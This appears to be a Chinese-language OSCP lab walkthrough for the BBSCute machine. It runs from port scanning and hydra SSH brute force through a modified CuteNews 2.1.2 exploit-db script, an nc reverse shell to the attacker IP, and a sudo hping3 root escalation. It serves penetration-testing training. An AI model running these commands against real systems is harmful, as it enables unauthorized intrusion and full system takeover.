OSCP靶场系列-Esay-BBSCute保姆级

Esay-1-BBSCute保姆级

目录

  • Esay-1-BBSCute保姆级
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用(无)
        • 22-SSH手动登录尝试(失败)
        • 22-SSH弱口令爆破(慢慢跑)
      • 80-HTTP端口的信息收集
        • 信息收集-源码查看(无)
        • 信息收集-基础目录扫描
        • 信息收集-dirsearch深层目录扫描(待定)
        • 信息收集-端点访问
          • /example.php端点
          • /manual/en/index.html端点
          • /print.php端点
          • /rss.php端点
          • /search.php端点
          • /index.php端点
        • 信息收集-指纹识别
        • 信息收集-源码查看
      • 88-HTTP端口的信息收集
    • 漏洞利用-getwebshell
        • 漏洞利用-msf网站指纹(尝试)
    • 内网遨游-getshell
      • 获取交互shell
        • 反弹shell-nc
        • 交互shell-python
      • FLAG1获取
      • 权限提升
        • Linux提权-sudo提权尝试
      • FLAG2

getwebshell → 目录扫描发现新端点 → 指纹探测发现CMS → 查看文章发现版本信息 → MSF → 调配修改获得shell
getshell → sudo发现hping3 → 利用hping3提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.176

OSCP靶场系列-Esay-BBSCute保姆级_第1张图片

  • 启动靶机
  • 获取目标机器IP > 192.168.190.128

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.190.128

OSCP靶场系列-Esay-BBSCute保姆级_第2张图片

>[!通过各两次扫描收集到端口 ]
>22,80,88,110,995

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,88,110,995 192.168.190.128

OSCP靶场系列-Esay-BBSCute保姆级_第3张图片

信息收集-端口测试

  • 22-open-openssh 7.9p1
  • 80-open-http
  • 88-open-http
  • 110-open-pop3
  • 995-open-ssl/pop3
    总体来看,突破口在80端口以及88端口

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用

# 进入msf
msfcontrol
# 探测版本为OpenSSH 7.9p1 搜索对应脚本
msf6 > searchsploit openssh 7.9

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh [email protected]8</span> ssh -p22
# 密码尝试
password &gt; root

22-SSH弱口令爆破(慢慢跑)

尝试root账户的密码爆破,利用工具hydra,线程-t为6
慢慢跑吧,不指望

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.128 ssh -s 22

OSCP靶场系列-Esay-BBSCute保姆级_第4张图片

80-HTTP端口的信息收集

http://192.168.190.128:80

OSCP靶场系列-Esay-BBSCute保姆级_第5张图片
通常遇到这样的网站之后我们直接从收集源码开始

信息收集-源码查看(无)
curl http://192.168.190.128:80

整体翻阅了一下,无泄露信息

OSCP靶场系列-Esay-BBSCute保姆级_第6张图片

信息收集-基础目录扫描
dirsearch -u http://192.168.190.128:80 -x 302,403

发现内容之后,我们先不考虑上大字典

OSCP靶场系列-Esay-BBSCute保姆级_第7张图片

信息收集-dirsearch深层目录扫描(待定)
信息收集-端点访问

寻找可用端点

/example.php端点

OSCP靶场系列-Esay-BBSCute保姆级_第8张图片

/manual/en/index.html端点

OSCP靶场系列-Esay-BBSCute保姆级_第9张图片

/print.php端点

OSCP靶场系列-Esay-BBSCute保姆级_第10张图片

/rss.php端点

OSCP靶场系列-Esay-BBSCute保姆级_第11张图片

/search.php端点

/index.php端点

OSCP靶场系列-Esay-BBSCute保姆级_第12张图片

信息收集-指纹识别

通过端点访问,首先选取最感兴趣的进行探索(登录功能点)

┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# whatweb http://192.168.190.128:80/index.php
http://192.168.190.128:80/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.190.128], JQuery, PasswordField[password], Script[text/javascript], Title[Please Login / CuteNews], UncommonHeaders[accept-charset], X-Frame-Options[sameorigin], X-UA-Compatible[IE=edge]

获取了CMS的指纹CuteNews,如果知道版本就可用msf精准打击

信息收集-源码查看
# 利用html2text转换纯文本方便查看
curl http://192.168.190.128:80/index.php | html2text

查看之后获取到了新的信息CuteNews的版本为2.1.2

OSCP靶场系列-Esay-BBSCute保姆级_第13张图片

88-HTTP端口的信息收集

什么!?还要收集吗? 80端口都getwebshell啦?

漏洞利用-getwebshell

漏洞利用-msf网站指纹(尝试)
# 首先进入msf终端
msfconsole
# 搜索对应的漏洞是否存在
msf6 &gt; searchsploit cutenews 2.1.2

可以思考的是第一个、第三个、第四个。第二个文件删除不能直接getwebshell
其中第三个文件上传相对要复杂一些
第一个可能有前置条件,保险一些先试试第四个?

OSCP靶场系列-Esay-BBSCute保姆级_第14张图片

# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/php/webapps/48800.py

细细翻阅一下

OSCP靶场系列-Esay-BBSCute保姆级_第15张图片
大致了解了脚本的情况,运行了之后让我们输入IP,之后就会根据代码逻辑获得cmdshell

OSCP靶场系列-Esay-BBSCute保姆级_第16张图片

OSCP靶场系列-Esay-BBSCute保姆级_第17张图片

一般获取脚本之后我们就清楚需要是否需要修改shell以及输入内容等

# 尝试运行,发现没运行成功捏
python3 /usr/share/exploitdb/exploits/php/webapps/48800.py
[-&gt;] Usage python3 expoit.py

Enter the URL&gt; http://192.168.190.128:80
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
[-] No hashes were found skipping!!!
================================================================

=============================
Registering a users
=============================

OSCP靶场系列-Esay-BBSCute保姆级_第18张图片
运行没成功说明可能其他地方还需要修改或者该exp不适用
首先进行url的排查

cat /usr/share/exploitdb/exploits/php/webapps/48800.py

查看了一下,发现expurl是加了/CuteNews端点,和我们现在不符,进行删除

OSCP靶场系列-Esay-BBSCute保姆级_第19张图片

# cp到本地一份方便修改(这是好习惯)
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# cp /usr/share/exploitdb/exploits/php/webapps/48800.py .
# 查询有几处
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# grep CuteNews 48800.py                    
url = f"{ip}/CuteNews/cdata/users/lines"
register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text
payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
# 修改了5处地方
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# vim 48800.py 
# 再次查看已经没有了
┌──(kali㉿kali)-[~]
└─$ grep CuteNews 48800.py  
# 尝试运行
python 48800.py

运行成功,获取了cmdshell

OSCP靶场系列-Esay-BBSCute保姆级_第20张图片

# ps 翻阅了一下不用苦逼的vim修改,利用sed 将所有的 “CuteNews/” 替换为空字符串
sed -i 's:CuteNews/::g' 48800.py
# 查看一下权限
command &gt; id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

内网遨游-getshell

发现hydra还没爆破出来,关了关了

OSCP靶场系列-Esay-BBSCute保姆级_第21张图片

获取交互shell

现在我们的shell是利用pythonexp获取的,我们获取本地的shell会更好
利用反弹shell弹到本地

反弹shell-nc
# 攻击机先开启监听
nc -lvvp 4444
# 目标主机nc反弹shell
nc -e /bin/bash 192.168.45.176 4444

OSCP靶场系列-Esay-BBSCute保姆级_第22张图片

交互shell-python

由于反弹获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span>@cute</span>:/var/www/html/uploads$ find / -name local.txt 2&gt;/dev/null
find / -name local.txt 2&gt;/dev/null
/var/www/local.txt
www-data<span>@cute</span>:/var/www/html/uploads$ cat /var/www/local.txt
cat /var/www/local.txt
*****************************

权限提升

访问 https://gtfobins.github.io 寻找

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
www-data<span>@cute</span>:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp

发现hping3存在sudo权限


如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

OSCP靶场系列-Esay-BBSCute保姆级_第23张图片

www-data<span>@cute</span>:/var/www/html/uploads$ hping3
hping3&gt; /bin/sh -p
# whoami
root

成功提权

FLAG2

# cat /root/proof.txt
*************************

结束撒花?谢谢观看

OSCP靶场系列-Esay-BBSCute保姆级_第24张图片

你可能感兴趣的:(OSCP,网络,服务器,web安全,网络安全)